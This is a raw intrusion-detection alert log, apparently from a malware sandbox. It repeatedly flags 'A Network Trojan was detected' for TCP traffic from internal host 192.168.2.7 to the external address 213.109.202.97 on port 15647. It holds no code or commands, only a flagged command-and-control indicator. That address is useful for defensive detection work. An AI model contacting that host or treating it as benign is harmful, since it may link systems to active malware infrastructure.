2024-09-26T01:49:11.152834+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.169866+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.184122+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.199690+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.217057+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.231024+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.251017+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.263455+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.278166+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.311058+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.324896+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.340430+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.356202+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.374621+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.387329+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.403249+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.418539+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.439710+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.449720+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.465516+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.482844+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.496839+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.512332+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.528805+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.543481+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.559120+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.576326+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.590515+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.605996+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.623682+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.637226+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.653106+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.670337+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.684160+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.700530+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.721130+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.730964+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.746604+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.762179+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.779728+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.793457+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.809080+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.824698+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.840614+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.855978+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.872776+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.887198+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.902903+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.918470+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.934364+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.949897+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.967920+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.980981+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.996600+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.012245+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.027858+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.043460+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.060188+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.074686+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.090302+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.105983+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.121534+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.137201+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.153905+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.168562+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.184035+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.199681+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.215818+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.231287+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.247931+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.262185+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.277983+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.293470+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.309624+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.324785+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.892910+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:12.903635+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:12.918501+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:12.934162+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:12.950926+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:12.965594+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:12.980915+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:12.996796+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:13.012591+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:13.027913+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:13.045603+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:13.059927+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:13.074752+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:13.090343+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:13.106061+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:13.121688+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:13.142795+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.154628+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.168396+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.184967+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.199634+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.215667+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.230899+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.249382+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.262309+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.277885+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.293443+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.309100+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.326175+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.345900+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.380071+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.387476+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.402921+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.418467+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.434172+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.453373+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.466137+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.491289+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.496626+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.513560+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.529334+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.557256+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.575829+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.599001+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.836013+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.896131+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.925346+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.935176+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.952099+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.984967+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.003654+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.016158+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.028675+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.045881+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.060166+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.074818+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.090657+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.107837+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.122846+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.137472+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:15.142771+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.153502+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.168455+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.186595+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.200774+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.215507+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.231146+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.246655+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.262357+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.280112+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.293611+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.310180+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.324757+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.340783+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.356315+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.376424+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.387235+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.404681+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.418498+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.434315+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.450171+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.468451+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.481123+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.497585+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.512342+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.528057+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.543677+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.561465+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.574999+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.590564+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.606107+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.621639+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.637256+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.655891+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.677800+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.685588+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.699833+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.715372+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.731403+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.746997+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.764112+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.777936+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.793806+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.809353+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.825469+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.841176+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.859522+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.873464+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.889472+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.904330+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.918579+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.934271+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.953473+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.967202+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.981830+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.996611+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.012363+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.027980+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.050023+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.059966+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.075535+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.094275+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.106180+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.136364+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.154884+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.169464+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.184651+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.199794+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.224070+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.244087+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.265995+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:17.943551+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:17.950231+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:17.968369+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:17.981175+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:17.996628+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:18.013217+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:18.027868+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:18.043556+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:18.061461+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:18.075233+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:18.090575+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:18.105966+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:18.127350+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.137322+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.153265+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.170306+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.184275+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.200563+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.215532+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.230989+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.246833+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.264786+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.278008+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.293561+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.309793+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.325598+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.340620+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.357992+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.371722+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.387413+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.405472+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.418484+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.434737+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.452201+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.465466+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
